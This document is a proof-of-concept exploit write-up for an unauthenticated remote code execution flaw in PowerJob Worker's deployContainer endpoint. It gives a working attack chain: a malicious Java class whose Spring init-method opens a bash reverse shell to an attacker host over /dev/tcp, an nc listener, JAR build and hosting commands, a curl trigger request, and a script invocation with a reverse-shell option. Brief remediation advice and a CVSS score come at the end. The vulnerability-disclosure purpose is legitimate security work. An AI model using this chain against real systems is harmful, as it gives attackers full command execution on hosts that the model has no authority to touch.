
Proof-of-concept exploit for CVE-2026-75430, achieving unauthenticated remote code execution on PowerJob Worker via arbitrary JAR loading through the deployContainer endpoint.
/worker/deployContainer (Arbitrary JAR Loading)The PowerJob Worker exposes the deployContainer handler on its HTTP transport port 27777 with no authentication whatsoever. An attacker submits an arbitrary URL; the Worker downloads that JAR and loads it via URLClassLoader + Spring ClassPathXmlApplicationContext, executing arbitrary code during the Spring init-method → Worker RCE. The default docker-compose publishes this port to the host.
Precondition (honest statement): the Worker must be running (27777 listening). In the default configuration the Worker validates at startup that its app is registered on the server (/server/assert); if the app is not registered, the Worker fails to start and 27777 is not listening (verified: the Java process exits with code 1). Therefore a strictly fresh "docker-compose up with no console setup" state is not directly exploitable. However, normal operation of PowerJob necessarily requires the app to be registered and the Worker to be online (otherwise the system schedules no jobs), so any deployment actually in use inherently satisfies the precondition, after which the exploit is zero-credential. By contrast, the sibling finding PJ-08 (server /friend/process) has no such precondition — the server binds 10010 at startup unconditionally.
powerjob-worker, deployed via the official powerjob-worker-samples image)docker-compose.yml worker service, HTTP protocol, port 27777 (PowerJobWorkerConfig.java:34)| Item | Value |
|---|---|
| Entry point | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), no authentication) |
| Download | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Load | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Request body ServerDeployContainerRequest (fields containerId/containerName/version/downloadURL).
WorkerActor handler fully trusts downloadURL.OmsContainerFactory downloads the JAR from an arbitrary URL and immediately calls OmsJarContainer.init(): URLClassLoader load + Spring context refresh() → malicious code runs during class/Bean initialization.Precondition: the Worker is running and 27777 is listening (satisfied by any production/demo deployment; if the operator followed the official flow and created the sample app, the Worker is online). For reproduction, the Worker can be started with --powerjob.worker.allow-lazy-connect-server=true to skip the app-registration check (not recommended in production; note the switch only affects whether the Worker comes online — it does not change the missing authentication on the open port).
OmsJarContainer.init()):
oms-worker-container.properties with PACKAGE_NAME=com.evilcom/evil/Exploit.class — a class exposing a Spring init-method (e.g. run()) that executes a commandoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer to the Worker port 27777 with body {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() loads the class (does not run static initializers), then ClassPathXmlApplicationContext.refresh() instantiates the bean and invokes the init-method → arbitrary command execution (with the Worker's runtime privileges).AbstractScriptProcessor.java:118-123 also supports downloading from an arbitrary URL → Worker-side SSRF.No output echo: the
deployContainerhandler returnsvoid, so the HTTP response carries no command output (verified: empty body). For interactive command execution the primary technique is a reverse shell (see Reproduction below); the marker-file variant is only a local, non-interactive verification.
Environment: JDK 21, source-built powerjob-worker-samples-5.1.2.jar, Worker listening on 192.168.49.128:27777 (started with --powerjob.worker.allow-lazy-connect-server=true to skip app registration).
Primary — reverse shell (interactive command execution):
The malicious JAR's Exploit.run() (Spring init-method) spawns a reverse shell. Since there is no output echo, this is the effective way to obtain interactive command execution on the Worker host.
# 1) Attacker listens first:
nc -lvnp 7878
# 2) Evil JAR construction — Exploit.run() runs a bash reverse shell
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # host evil.jar
# 3) Trigger (no credentials):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
Alternatively, use the script to verify: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
PoC key point:
OhMyClassLoader.load()only callsloadClass(), which does not run static initializers; the actual execution point is the Spring init-method invoked byClassPathXmlApplicationContext.refresh(). The malicious JAR must therefore carry the Spring XML and declareinit-method. The reverse shell must run via/bin/bash -cbecause/bin/sh(dash) does not parse/dev/tcp.
deployContainer to be triggered only by a trusted Server and validate the source.downloadURL to trusted internal addresses; verify the JAR hash/signature before loading.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical